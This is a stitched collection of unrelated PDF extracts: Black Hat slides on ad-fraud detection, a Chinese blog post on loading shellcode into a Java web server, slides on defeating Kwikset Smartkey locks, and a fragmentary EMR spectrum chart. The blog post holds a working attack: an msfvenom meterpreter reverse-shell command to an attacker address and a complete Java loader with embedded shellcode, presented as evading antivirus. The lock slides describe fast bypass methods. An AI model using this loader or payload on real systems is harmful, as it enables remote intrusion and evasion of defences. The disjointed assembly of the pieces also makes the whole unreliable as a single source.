Headless/automated Browser Detection
• A new stable method to detect all headless browsers
- The key is to detect the hidden opened Devtools instance in browser
Cpu: AMD 5900x, 4.3Ghz
x86 release build
Copy used 33 milliseconds
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Headless/automated Browser Detection
• A new stable method to detect all headless browsers
- The key is to detect the hidden opened Devtools instance in browser
After test (<=93.0.4547.0), it can stable detect
all headless/automated browsers which
based on Chromium core, including mobile
browser/webview in Apps.
Harmless for user experience.
Nothing is displayed on the UI.
If you learned this principles, it is easy to
adapt this code to the latest browsers.
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Headless/automated Browser Detection
• About JingYi web browser library in EPL (Easy Programming Language)
Detection and defense
Small and easy to integrate!
#BHUSA @BlackHatEvents
Information Classification: General
Detect invisible mobile native/webview ad click
• Previously public disclosed detection methods
- Most of the public information is disclosed by mobile anti-virus companies
-- Qihoo 360,kaspersky,Antiy,Tencent,etc..
-- Using static analysis,dynamic behavior sanbox,manual reverse analysis
- In fact they are just disclosing the incident, not discussing how to perceive and detect
• Can we perceive and detect without the help of anti-virus companies?
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Plant
loader
Remote
load dex
Request
click task
Automatic
ad click
Invisible mobile ad click : malicious SDK automatically clicks on ads in the
background to obtain profit sharing, and users do not perceive it is running.
Malicious
developers or
malicious SDK
company plant
malware loader
code
http://xxx.xx/a.png
Decrypt(“a.png”)
-> ad.jar
DexClassLoader.loa
dClass(“com.ad”)
http://xxx.xx/task.html
Js <- jsBridge -> Java
Task list:
Click url: a.com/id=xxx
Log url: log.a.com/xxx
Random click
Click(x,y) from task
Click by special
element
<ad item>xxx</>
Detect invisible mobile native/webview ad click
invisible mobile ad click results in: the mobile phone becomes hot, lost
power, increase traffic fee, and becomes a control terminal of the
underground industry. The advertising effect is poor, and the
advertisements on the APP may no longer deliver their budget.
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Code protection
mechanism
Code loading
mechanism
Anti-detection
mechanism
data transfer
mechanism
Code obfuscation
Most use apk shells,
such as bangbang,
360 apk shiled
Most use dynamic
dex, jar loading
All detect root, proxy,
hook framework,
developer mode,
emulator, etc.
Even is there a light
sensor, is there a
baseband, current
battery level, etc.
Most of them use
AES and RSA for
encrypted
transmission of task
acquisition and
information upload.
Detect invisible mobile native/webview ad click
• The malware is skilled in anti-analysis, anti-debugging, anti-VM, difficult to analyze
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
The key technical points for achieving malicious clicks on advertisements
WebView Renderer
Js Bridge Communication
Simulate Click
Single http get/post, no buried data
reporting, no conversionIt is valid only
if the page is displayed, browsed, and
clicked by similar real users.Rendering
only via WebView
Js: use WebView.evaluateJavascript()
control the pages
Inject new TouchEvent(), Click(x,y)、
Click(random)
Java: MotionEvent ACTION_DOWN x,y
SDK: add JavascriptInterface(“xxBridge”)
in webview, load target url
Js: use xxBridge.send(tasklist) to
communicate with APP’s java code.
Javascript tells java to click where.
Detect invisible mobile native/webview ad click
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Detect invisible mobile native/webview ad click
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
2. Hook the key point : proxy、developer、adb、okhttp、WebView、ssl unpinning ……
• The hook forces the WebView debuggable to be enabled, and uses the CDP protocol to remotely debug
pages, networks, js, dom, etc.
•
chrome:inspect
tools:chrome-remote-interface
• If you only want to monitor WebView, AOSP modify the WebView method
• Unpack: Using FART Technology
tools
advantage
root
Magisk
As long as you can unlock the bootloader, you can root
Root check bypass
Shamiko white list
Remounting method, most scenarios cannot be detected
Hook framework
lsposed
Stable, no xposed features, can hide icons, package names
A phone that doesn’t
appear to be rooted
Detect invisible mobile native/webview ad click
1. Using no rooted signature phone、using hook to bypass environment check:
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
the first run
the second run
coordinates
interval
Detect android simulator and mobile key press genius
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Traditional detection methods:
1. Detect whether the resource file exists.
- Disadvantages: The ID of the extension must be known, web_accessible_resources must be satisfied.
1. 2. DOM sharing, detection of special variables, special cookies, disadvantages: plug-ins
modify the source code of the page and insert special tags
Detect malware PC browser extension hijack
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Traditional detection methods:
3. The page js sends a message to the plugin to judge the returned information.
- Disadvantage: Need to solve the externally_connectable URL matching problem
Detect malware PC browser extension hijack
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
In many cases, the plug-in id and file characteristics are unknown
we think of CSP :
Content-Security-Policy-Report-Only: policy
• Report js url and extension name
Detect malware PC browser extension hijack
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• Background
• Advertising fraud and anti-fraud
• In-depth analysis of typical cases
• Crowd and key tech analysis
• Detection and defense
• Summary and recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Summary of this talk
•
Background
- introduction to advertising-related terms, ad types, and industry scale
•
Advertising fraud and anti-fraud
- where ad-fraud occurs in the industry based on the background image
•
In-depth analysis of typical cases
- including mobile SDK malware, browser trojans, multiple hacking tools/library
•
Summary of key technologies and make a crowd analysis
- what‘s the most important problems we need to solve
•
Detection and defense
- introduce our innovative detection methods for 4 type of scenes
•
Summary of Project Heracles results
- hundreds of underground industry practitioners *
- fraud or illegal control of computer information systems
Summary and recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Advice to the upstream and downstream of the
advertising industry
• Advice for ad network platforms
- Perhaps an anti underground industry alliance can be established between ad platforms
- Share intelligence information with each other, as they often cheat on multiple platforms at the same time
• Advice for Antivirus Software Manufacturers
- Discovery and blocking of ad anti-fraud may be a good direction for cooperation with Internet companies
• Advice for App developers
- Carefully review when incorporating third-party SDKs, Choose a big advertising alliance platform to monetize
- Avoid being apprehended by law enforcement agencies for helping cybercriminals, or removed from app stores
• Advice for browser developers
- Strengthen the security check of browser extensions loaded with tampered configuration files
- prevent traffic hijacking, remove the malware crx browser extensions
Summary and recommendations | pdf |
1
Java注⼊ShellCode踩坑
前⾔
三种⽅法简介
JNI
JNA
JVM
踩坑
放弃JNA
JVM的坑
正确操作
测试
实现代码
最后
@yzddmr6
@zsxq: websafe
在做As-Exploits的Java Shellcode加载模块的时候遇到了很多的坑,在这⾥跟⼤家分享⼀下。
宽字节的这篇⽂章写的很好,java执⾏shellcode的⼏种⽅法,主要也是根据这篇⽂章来实现的。这⾥简单
总结⼀下
由于Java屏蔽了很多底层的细节,所以没办法直接⽤原⽣Java去注⼊shellcode。但是Java提供了加载
C++动态链接库的⽅法,所以我们可以把加载Shellcode的代码写在dll⾥,然后⽤Java去调⽤dll即可。冰
蝎就是采⽤的这种⽅法。但是缺点是⽂件要落地,很容易被杀。
写过C#的shellcode加载器的同学应该知道,主要⽤到了windows中kernel32.dll这个动态链接库。这个
dll中包含了新建进程,线程注⼊等很多底层的⽅法。如果Java能调⽤到这个dll,就可以实现任意
shellcode的加载。
前⾔
三种⽅法简介
JNI
JNA
2
正好,JNA这个库对JNI进⾏了封装,并且可以调⽤kernel32。后⾯的操作就跟C#的写法差不多了,⽆⾮
就是换成了Java语⾔。
很多APT都⽤了这种⽅法,具体实现可以看我的这个项⽬,https://github.com/yzddmr6/Java-
Shellcode-Loader
核⼼代码来⾃于:https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/
这个操作就⽐较秀了,宽字节的师傅发现在java agent注⼊的过程中会往⽬标进程⾥⾯去塞shellcode,并
且这个native⽅法是jdk⾃带的,并且经过oracle签名的。
其中主要⽤到了WindowsVirtualMachine.java这个类,native⽅法源码在这⾥:
WindowsVirtualMachine.c
因为JNA的库不是jdk⾃带的,当时就理所应当的想到,先⽤jarloader模块把这个jar打⼊到内存中,然后
反射去调⽤,这样⽂件就不会直接落地。结果gui都画好了。。。发现jar⼀直打不进去,后来调了⼀下发现
是因为jar太⼤,超过了Tomcat默认的最⼤POST⼤⼩2m。
然后⼜想到了利⽤multipart的格式来上传,结果Java必须要通过⼿动解析multipart的内容才可以获取到
⾥⾯的参数值,不能直接使⽤request.getParameter来获取。这样就还需要修改shell中的代码。放弃
接着就想到shiro反序列化中也有header⻓度的问题。Litch1师傅在基于全局储存的新思路 | Tomcat的⼀
种通⽤回显⽅法研究这篇⽂章⾥提到了可以⽤反射去修改Tomcat header最⼤⻓度的参数。那么POST最
⼤⻓度的⼤⼩应该也是可以修改的。但是看到后⾯需要多个连接同时访问后就放弃了。。。太麻烦了,放
弃。
既然改着很麻烦,那⼲脆就直接不改了。先利⽤⽂件上传把jar传到⽬标的⼀个⽬录⾥,然后⽤
URLClassLoader去加载也是可以的。但是这样也会导致⽂件直接落地。跟JNI相⽐⽆⾮是把落地的dll变成
了jar⽽已。不过⽬前杀软对jar的查杀⼒度要⽐dll弱得多。
总的来说,这种⽅式不是很优雅,所以最后还是放弃了。
JVM
踩坑
放弃JNA
3
前⾯⼀篇⽂章提到了测试这种⽅法的时候会把java进程给打挂,原因是我本地的java进程位数跟测试机的
java位数是不⼀样的。
本⼈⼆进制弟弟,现学了⼀点shellcode的知识,说的不⼀定对,仅供参考。
⼀般情况下:采⽤线程注⼊的时候,32位进程只能注⼊32位的shellcode到32位进程,64同理。
利⽤java agent这种shellcode注⼊⽅法属于线程注⼊,所以来说,知道⽬标进程的位数是很重要的。
但是很遗憾,除了调⽤kernel32中的IsWow64Process API以外,我没有找到其他判断⽬标进程位数的⽅
法。⽽想要⽤Java调⽤这个API,还得⽤到上⾯JNA这个库,所以想要实现对任意进程的注⼊是不⾏的。
Java系统变量中有⼀个参数:sun.arch.data.model,标注了当前Java的位数。这样我们虽然不知道其他
进程的位数,但是我们可以知道Java进程的位数,所以可以把shellcode注⼊到⾃⼰。
但是这种⽅法存在很⼤⻛险,如果位数不对很可能把Java进程给⼲死,直接把站给打挂了。
在实际测试中,msf⽐较坑,在shellcode执⾏结束/位数错误/migrate的时候会把java给⼲死。
cs如果注⼊错位数的话没有什么反应,Tomcat也不会挂掉,inject的时候也不会把原来的进程给杀死。
1. 基本信息,exploit,Ctrl+F搜索 sun.arch.data.model,查看java位数
2. 根据java位数⽣成对应的shellcode,并开启监听。
需要注意的是,MSF需要加上PrependMigrate=true PrependMigrateProc=xxxx.exe参数,⾃动迁移到
新的进程。(重要!)
如:
JVM的坑
正确操作
4
3. 在ShellCode加载器模块,输⼊hex格式的shellcode,且不能有多余换⾏跟空格。
4. 点击exploit,等待返回回话。
装了360,⽕绒,电脑管家
1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.88.1
29 LPORT=8888 PrependMigrate=true PrependMigrateProc=svchost.exe
-f hex
测试
5
直接上线,杀软没有拦截。
实现代码
1 package shellcode_loader;
2
3
4 import javax.servlet.http.HttpServletRequest;
5 import javax.servlet.http.HttpServletResponse;
6 import java.lang.management.ManagementFactory;
7 import java.lang.reflect.Field;
8 import java.lang.reflect.Method;
9
10
11 public class JvmLoader {
12 public HttpServletRequest request = null;
13 public HttpServletResponse response = null;
14 public String cs = "UTF-8";
15 public String shellcodeHex = "targetShellCode";
16 public String PID = "targetPID";
17
18 public static void main(String[] args) throws Exception {
19 JvmLoader loader = new JvmLoader();
6
20 String shellcodeHex = "4831c94881e9ddffffff488d05effffff
f48bb555c08a50e29deb248315827482df8ffffffe2f4a9148b41fec11eb2555
c49f44f798ce3031439776b6155e0351483f7166155e0751483d75e61d1051f1
64594c761ef72f96069d90c05fef3949505e40fe83c5f071d59ed857bfe39176
040a4dea25e3a555c08ed8be9aad51d5dd8f58561c6f6de1c28ec0ff93de41da
3c1e4851d56fa548a4594c761ef72f91dc96c0368df736dbc7d54422a92965d1
931747bf186f6de1c2cec0ff9b8f3de5040e18569c2fb548c492e0aa196b3851
d50e4567787e8140449fc4f739631b97c49f7f1c986f30c06402e1cc0894daaa
355edb428deb2555c08a50e61533f545d08a54f93ef393adbf770b5d96b10031
db2039b94434d80148b612615d8ce5fdcf3457b2c65f5462e67cf0e709f3b8fa
3ddc66f45bd9c30246da50e29deb2";
21 loader.loadShellCode(shellcodeHex, getCurrentPID());
22 }
23
24 public boolean equals(Object obj) {
25 this.parseObj(obj);
26
27 StringBuffer output = new StringBuffer();
28 String tag_s = "->|";
29 String tag_e = "|<-";
30 try {
31 response.setContentType("text/html");
32 request.setCharacterEncoding(cs);
33 response.setCharacterEncoding(cs);
34 if (this.PID.equals("targetPID")) {
35 output.append(loadShellCode(shellcodeHex, getCur
rentPID()));
36 } else {
37 output.append(loadShellCode(shellcodeHex, this.P
ID));
38 }
39 } catch (Exception e) {
40 output.append("ERROR:// " + e.toString());
41 }
42 try {
43 response.getWriter().print(tag_s + output.toString()
+ tag_e);
44 } catch (Exception ignored) {
45 }
46 return true;
7
47 }
48
49 public String loadShellCode(String shellcodeHex, String spi
d) throws Exception {
50 int pid = Integer.parseInt(spid);
51 byte[] shellcode = hexStrToByteArray(shellcodeHex);
52 String clazzName = "sun.tools.attach.WindowsVirtualMachi
ne";
53 Class WindowsVirtualMachineClazz;
54 try {
55 WindowsVirtualMachineClazz = Class.forName(clazzNam
e);
56 } catch (ClassNotFoundException e) {
57 byte[] classBytes = hexStrToByteArray("cafebabe00000
031002401002673756e2f746f6f6c732f6174746163682f57696e646f7773566
9727475616c4d616368696e650700010100106a6176612f6c616e672f4f626a6
5637407000301001a57696e646f77735669727475616c4d616368696e652e6a6
176610100063c696e69743e0100032829560c000600070a00040008010004746
869730100284c73756e2f746f6f6c732f6174746163682f57696e646f7773566
9727475616c4d616368696e653b010004696e697401000b6f70656e50726f636
573730100042849294a0100136a6176612f696f2f494f457863657074696f6e0
7000f01000c636c6f736550726f63657373010004284a2956010007656e71756
5756501003d284a5b424c6a6176612f6c616e672f537472696e673b4c6a61766
12f6c616e672f537472696e673b5b4c6a6176612f6c616e672f4f626a6563743
b29560100083c636c696e69743e0100066174746163680800160100106a61766
12f6c616e672f53797374656d07001801000b6c6f61644c69627261727901001
5284c6a6176612f6c616e672f537472696e673b29560c001a001b0a0019001c0
c000c00070a0002001e010004436f64650100124c6f63616c5661726961626c6
55461626c6501000a457863657074696f6e7301000a536f7572636546696c650
0210002000400000000000600010006000700010020000000230001000100000
0052ab70009b10000000100210000000c000100000005000a000b00000109000
c000700000109000d000e0001002200000004000100100109001100120001002
2000000040001001001890013001400010022000000040001001000080015000
7000100200000001500010000000000091217b8001db8001fb10000000000010
023000000020005");
58 // 这种写法第⼆次执⾏会提示重复加载dll
59 // WindowsVirtualMachineClazz = this.defineClass(cl
azzName, classBytes, 0, classBytes.length);
60 Method defineClass = Class.forName("java.lang.ClassL
oader").getDeclaredMethod("defineClass", byte[].class, int.clas
8
s, int.class);
61 defineClass.setAccessible(true);
62 WindowsVirtualMachineClazz = (Class) defineClass.inv
oke(ClassLoader.getSystemClassLoader(), classBytes, 0, classByte
s.length);
63 }
64 Method openProcessM = WindowsVirtualMachineClazz.getDecl
aredMethod("openProcess", int.class);
65 openProcessM.setAccessible(true);
66 Object hProcess = openProcessM.invoke(null, pid);
67 Method enqueueM = WindowsVirtualMachineClazz.getDeclared
Method("enqueue", long.class, byte[].class, String.class, Strin
g.class, Object[].class);
68 enqueueM.setAccessible(true);
69 enqueueM.invoke(null, hProcess, shellcode, null, null, n
ew Object[]{});
70 return "Success";
71 }
72
73 private static String getCurrentPID() {
74 String name = ManagementFactory.getRuntimeMXBean().getNa
me();
75 String pid = name.split("@")[0];
76 return pid;
77 }
78
79 public static byte[] hexStrToByteArray(String str) {
80 if (str == null) {
81 return null;
82 } else if (str.length() == 0) {
83 return new byte[0];
84 } else {
85 byte[] byteArray = new byte[str.length() / 2];
86
87 for (int i = 0; i < byteArray.length; ++i) {
88 String subStr = str.substring(2 * i, 2 * i + 2);
89 byteArray[i] = (byte) Integer.parseInt(subStr, 1
6);
90 }
91 return byteArray;
9
92 }
93 }
94
95 public void parseObj(Object obj) {
96 if (obj.getClass().isArray()) {
97 Object[] data = (Object[]) obj;
98 request = (HttpServletRequest) data[0];
99 response = (HttpServletResponse) data[1];
100 } else {
101 try {
102 Class clazz = Class.forName("javax.servlet.jsp.P
ageContext");
103 request = (HttpServletRequest) clazz.getDeclared
Method("getRequest").invoke(obj);
104 response = (HttpServletResponse) clazz.getDeclar
edMethod("getResponse").invoke(obj);
105 } catch (Exception e) {
106 if (obj instanceof HttpServletRequest) {
107 request = (HttpServletRequest) obj;
108 try {
109 Field req = request.getClass().getDeclar
edField("request");
110 req.setAccessible(true);
111 HttpServletRequest request2 = (HttpServl
etRequest) req.get(request);
112 Field resp = request2.getClass().getDecl
aredField("response");
113 resp.setAccessible(true);
114 response = (HttpServletResponse) resp.ge
t(request2);
115 } catch (Exception ex) {
116 try {
117 response = (HttpServletResponse) req
uest.getClass().getDeclaredMethod("getResponse").invoke(obj);
118 } catch (Exception ignored) {
119
120 }
121 }
122 }
123 }
10
其实注⼊Shellcode还可以⽤于绕过RASP的命令执⾏拦截,因为RASP拦截的只是Java层⾯的东⻄,进⼊
到native层⾯就⽆能为⼒了。
但是实际上根本不⽤这么麻烦,哥斯拉有⼀个绕过RASP的插件,利⽤反射直接把RASP的开关给关掉了,
可以实现⼀键Bypass。当然,这个功能也被我抄了过来,哥斯拉⽜逼就完事了
124 }
125 }
126 }
最后 | pdf |
A FAILURE OF IMAGINATION:
Kwikset Smartkey® and Insecurity
Engineering
ONE OF THE MOST SECURE and
INSECURE LOCKS IN AMERICA
KWIKSET SMARTKEY
#1: IS SMARTKEY SECURE?
Brian: 06/25/2013 1105 A.M.
#2: IS SMARTKEY SECURE?
Satima: 06/24/2013 4:26 P.M.
#3: IS SMARTKEY SECURE?
Raymond: 06/25/2013 3:58 P.M.
KWIKSET LOCKS
A Spectrum Brands Company
MILLIONS IN USE IN AMERICA AND
CANADA
HOMES, APARTMENTS, BUSINESSES
INEXPENSIVE: COST: $20-$30
MODELS:
– Pin tumbler, 5 and 6 pin
– Smartkey, 5 pin
– Deadbolts
– Electronic + override
ONE OF THE MOST
POPULAR LOCKS IN U.S.
MILLIONS SOLD EVERY YEAR
– COMMON KEYWAY: WEISER, BALDWIN
FOR MORE THAN FIFTY YEARS
DIVERSE PRODUCT LINE
– Deadbolts
– Rim
– Lever handle
– Electronic
KWIKSET DISTRIBUTION
WIDE PRODUCT LINE
HOMES, APARTMENTS,
BUSINESS, COMMERCIAL
KWIKSET, WEISER, BALDWIN:
The Basics
PIN TUMBLER AND SMARTKEY
5 or 6 PIN CONVENTIONAL CYLINDERS
– Many configurations
5 PIN SMARTKEY PROGRAMMABLE
COMMON KEYWAYS, NO SECURITY
NO DUPLICATION PROTECTION
NOT HIGH SECURITY
MAINLY RESIDENTIAL AND APARTMENTS
KWIKSET HISTORY
ORIGINAL PIN TUMBLER DESIGN
– Rim cylinder
– Deadbolt
– Key-in-knob design
EASILY COMPROMISED
MOST POPULAR UNTIL 2008
– Smartkey introduced to Canada and U.S.
PIN TUMBLER v. SMARTKEY
PIN TUMBLER DESIGN
NOT SECURE
Easy to pick
Easy to bump
Easy to impression
Easy to mechanically bypass
Can be master keyed
Easy to determine the Top Level MK
Limited number of combinations
PIN TUMBLER DESIGN:
How it works
PIN STACKS = SECURITY:
Plug can turn: pins at shearline
LOCKED:
PINS NOT AT SHEARLINE
KWIKSET SMARTKEY:
Not a pin tumbler lock
SMARTKEY ATTRIBUTES
5 PIN ONLY 6 DEPTH INCREMENTS
SINGLE SIDEBAR SECURITY
EXTREMELY PICK RESISTANT UL437
CANNOT BE BUMPED
CANNOT BE IMPRESSIONED
INSTANT PROGRAMMABILITY TO
ANY KEY
CANNOT BE MASTER KEYED
MORE ATTRIBUTES
ONE PRIMARY KEYWAY
BHMA 156.5 GRADE 1 RATING
UL 437 RATING
SPECIAL “KEY CONTROL DEADBOLT’
AS ALTERNATIVE TO MK SYSTEM
SMARTKEY DESIGN
PROGRAMMABLE SLIDERS
SIDEBAR =SMARTKEY SECURITY
MASTER KEY SYSTEMS:
Pin Tumbler v. Smartkey
CONVENTIONAL MK SYSTEMS
CONVENTIONAL MK
SYSTEM ATTRIBUTES
ONE KEY OPENS MANY LOCKS
– Only bottom pin and master pin per chamber
DIFFERENT LEVELS OF KEYING
– Can reduce number of change keys
EXPENSIVE TO REKEY OR ADD KEYS
– Must disassemble cylinder to rekey
CROSS KEYING BETWEEN LOCKS
AND SYSTEMS
MK SYSTEM SECURITY
INHERENT INSECURITY
MUST HAVE AT LEAST TWO
SECURITY LAYERS
EASIER TO COMPROMISE ENTIRE
SYSTEM
– Multiple shear lines
– Unintended key combinations will open lock
– Easier to pick, bump, impression, decode
– Extrapolation of TMK
KWIKSET KEY CONTROL:
The Alternative to Master Keying
TWO INDEPENDENT CORES
TWO SEPARATE AND DISTINCT KEYS
– Supposed to maintain security of key blanks
– Control key only from factory
INSTANTLY REPROGRAMMABLE
NO CROSS KEYING OR INCIDENTAL
MASTER KEYS
NOT A REAL MK SYSTEM
ONLY ONE LEVEL OF KEYING
KWIKSET “KEY CONTROL”
Positive Attributes
NO LOCKSMITH REQUIRED
46,656 THEORETICAL COMBINATIONS
GOOD FOR FACILITIES THAT NEED
ONE MK LEVEL ONLY
GREAT FOR CONSTRUCTION MK
NO DISASSEMBLY OF CYLINDERS
TWO INDEPENDENT SHEAR LINES
WITH NO INTERACTION LIKE
CONVENTIONAL SYSTEMS
KWIKSET “KEY CONTROL”
More positive attributes
INSTANT ABILITY TO REPROGRAM
TWO SEPARATE KEYWAYS
CANNOT DERIVE CONTROL KEY
FROM CHANGE KEY
LIKE CORBIN “MASTER SLEEVE”
SYSTEM 75 YEARS AGO,
INHERENTLY MORE SECURE
LITTLE CHANCE OF ONE SYSTEM
OPENING ANOTHER
KWIKSET “CONTROL KEY”
The Bad
NO WARRANTY FOR COMMERCIAL
NOT FOR COMPLEX OR
COMMERCIAL SYSTEMS
CAN BE COMPROMISED IN 15
SECONDS
EASY TO DECODE CONTROL KEY
EASY TO REPLICATE CONTROL KEY
NO PATENT PROTECTION ON KEYS
SECURITY:
YOU GET WHAT YOU PAY FOR
DO YOU EXPECT A $20-$30 LOCK TO
PROVIDE ANY SECURITY?
– Some buyers cannot afford higher security
– What is the minimum they are entitled to?
KWIKSET KNOWS THESE LOCKS
HAVE SERIOUS VULNERABILITIES
DOES THE PUBLIC HAVE A RIGHT TO
KNOW HOW EASY TO OPEN?
– Should there be warnings on packaging?
KWIKSET SMARTKEY:
INSECURITY ENGINEERING
MILLIONS OF PEOPLE AND
FACILITIES AT POTENTIAL RISK
– COVERT ENTRY
– FORCED ENTRY
KWIKSET “Highest grade of residential
security available.”
– True but misleading
– Open in less than thirty seconds
FALSE SENSE OF SECURITY
BHMA GRADE 1 RATING
“Highest grade of residential security”
UL 437 PICKING RATING
VIRTUALLY BUMP PROOF
USERS ARE NOT AWARE OF RISKS
LOCKS CAN BE OPENED IN SECONDS
FAILURE TO DISCLOSE
VULNERABILITIES
KWIKSET ADVERTISING and
MISREPRESENTAIONS
FALSE OR MISLEADING
STATEMENTS BY TECH SUPPORT
AND SALES
8 SEPARATE INTERVIEWS:
– “Cannot be opened except by drilling”
– “No maintenance problems”
– “Video on YouTube not true: lock was
tampered with”
– “No way can be opened with a screwdriver”
– “The problem has been dealt with”
SMARTKEY DESIGN ISSUES
SIDEBAR SHOULD PROVIDE MORE
SECURITY THAN PIN TUMBLER LOCK
ONLY ONE LAYER OF SECURITY
SMALL FRAGILE SLIDERS
PROGRAMMING PROBLEMS
LOW TOLERANCE, LIMITED DIFFERS
– 243 Key combinations
– All the same blank
CAST METAL EASILY COMPROMISED
MORE DESIGN ISSUES
PLUG DESIGN CAN BE WARPED
SLIDER DESIGN
ABLE TO DECODE THE SLIDERS
SLIDERS EASILY JAMMED
TAILPIECE DESIGN AND ACCESS
NO KEY DETENT FOR
PROGRAMMING
SMARTKEY:
METHODS OF DEFEAT
TRYOUT KEYS
TAILPIECE, WIRE THROUGH
KEYWAY
VISUALLY READ SLIDER POSITION
TORQUE THE PLUG AND OPEN
REPLICATING CONTROL KEY
DECODING OF THE MASTER KEY
TRYOUT KEYS
BITTING = 6 DEPTHS @.023”
5 SLIDERS
UNIVERSE OF KEYS = 3 to 5th = 243
#1.5 =DEPTHS 1-2
#3.5 = DEPTHS 3-4
#5.5 = DEPTHS 5-6
DEPTH INCREMENTS
AND TOLERANCE
DEPTHS 1-2-3-4-5-6
DEPTH INCREMENTS 1-2
DEPTHS 1-2 = 1.5
DEPTH INCREMENTS 3-4
DEPTHS 3-4 = 3.5
DEPTH INCREMENTS 5-6
DEPTHS 5-6 =5.5
TRYOUT KEY SET
TAILPIECE DESIGN
SAME DESIGN FOR PIN TUMBLER
AND SMARTKEY
HOLLOW AND SOLID TELESCOPING
PLUG CAP NOT SUFFICIENT
ZIG ZAG WIRE THROUGH KEYWAY
– No trace
– No damage
– Less than 30 seconds
KEY-IN-KNOB ATTACK:
Tailpiece access
KEY-IN-KNOB ATTACK
TAILPIECE AND WIRE
TAILPIECE ATTACK
VISUAL DECODING SLIDERS
SLIDER TO TUMBLER INTERFACE
CAN DETERMINE POSITION OF
SLIDER AND KEY CODE
INSERT BORESCOPE OR MIRROR TO
VIEW POSITION
TORQUE THE PLUG
BELIEVE VIOLATES THE BHMA 156.5
Formal complaint filed
HOW THE LOCK CAN BE
COMPROMISED: DESIGN ISSUES
– Warp sliders or keyway
– Application of 110 pound force inches
– Set sliders to specific position
– Apply torque with 4” screwdriver and wrench
– OPEN IN ABOUT FIFTEEN SECONDS
SLIDER DESIGN AND
TORQUE ATTACK
TORQUE AND BHMA 156.5
REQUIREMENT = 300 lbf-in
OPEN in 112 lbf-in
112 Pounds Force Inches = OPEN
KEY CONTROL: NONE
SMART KEY LOCKS
AND KEY CONTROL
DECODING THE LOCK OR
CONTROL KEY
KEY CONTROL BLANK ONLY
AVAILABLE FROM FACTORY
NOT THE SAME AS CHANG KEY
SPECIAL DECODER TO READ THE
SLIDERS
MAKING THE CONTROL KEY
SEPARATE KEYWAYS ARE NOT
SUPPOSED TO BE
INTERCHANGEABLE
THE REPRESENTATION: CONTROL
KEYS ARE SECURE
CHANGE KEYS AND
CONTROL KEYS
SUMMARY:
SMARTKEY INSECURITY
ONE OF MOST POOPULAR AND
INEXPENSIVE LOCKS IN US. AND
CANADA
CONSUMER FRIENDLY
FILLS CERTAIN NEEDS
SECURE AGAINST CERTAIN
ATTACKS
– Picking
– Bumping
BURGLARS:
THEY DON’T PICK LOCKS
PICK RESISTANT
BUMP PROOF
ALL OF THE SECURITY IS MEANINGLESS
IF THE LOCK CAN BE OPENED IN 15
SECONDS
PATENTS MEAN NOTHING
BHMA RATINGS MEAN NOTHING
COULD BE MADE SECURE
YOU GET WHAT YOU PAY FOR
A FAILURE OF IMAGINATION:
INSECURITY ENGINEERING
© 2013 Security Labs, Marc Weber Tobias
and Tobias Bluzmanis
[email protected]
[email protected]
www.security.org | pdf |
Sources
of EMR
Sources
of EMR
Human
Brain
Power
Lines
(50,60Hz)
Induction
Heating
Cell
phone
Micro-
wave
oven
Radar
Light
bulb
People
Radio
tower
X-Ray
machines
Radioac-
tive
elements
Sizes of
EMR
Sizes of
EMR
Earth
12,756
km
Football
Field
100m
House
12m
Football
308mm
People
1.8m
Honey
Bee
1.2cm
Single
Cell
10µm
Water
Molecule
0.3nm
Bacteria
3µm-
800nm
Virus 17-
300nm
GAMMA RAYS
X-RAYS
ULTRAVIOLET
VISIBLE
INFRARED
MICROWAVE
RADIO WAVES
Frequency
Wavelength
Energy
0.1Hz
δ (Delta brain waves)
3Hz
θ (Theta brain waves)
8Hz
8Hz
α (Alpha brain waves)
12Hz
β (Low Beta brain waves)
15Hz
β (Mid Beta brain waves)
18Hz
β (High Beta brain waves)
30Hz
γ (Gamma brain waves)
S
S
S
S
S
S
S
50Hz Power
v=
100Hz Lights
p=
60Hz Power
v=
120Hz Lights
p=
150Hz
3rd harmonic
180Hz
3rd harmonic
400Hz
Airplane Power
AM Radio
540
600
700
800
900
1000
1100
1200
1300
1400
1500
1600
A
Ground Wave Emergency Network
Europe and Asia AM
EU&Asia AM
Radiolocation
Maritime Mobile
Maritime Mobile
Navigational Beacons
Navigational Beacons
Marine Radio
Marine Radio
Morse code
SOS
Beacons
X-Band
Beacons
Marine
SOS Marine
Marine
Aeronautical
Aero
LORAN-C navigation
Radionavigation
Maritime Mobile
Maritime Mobile
Maritime Mobile
Maritime Mobile
Maritime Mobile
Maritime Mobile
Marine
Marine
Aero
Marine
Aero
Marine
Aero
International
Intnl. and relays
Aero
Marine
Marine
Aero
Marine
Remote Ctrl
CB
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 47
48 49
50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
Aeronautical
FM Radio
87.7
92.1
96.1
100.1
104.1
107.9
Marine Mobile
Military
Military
Gov
160 Meters Ham Radio
120m Tropics
90m
80m Ham Radio
60m
Tropics
49m
40m Ham
25m
22m
20m
19m
16m
15m 13m
11m
10m Ham
6m Ham Radio
2m
1 1/4m
3/4 m Ham
0.3GHz
Microwave P-band (Previous)
u
1GHz
Microwave L-band (Long)
H
T-7
T-8
T-9
T-10
T-11
T-12
T-13
T-14
2
3
4
05
06
95
96
97
98
99
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
76
77
78
79
80
81
82
83
84
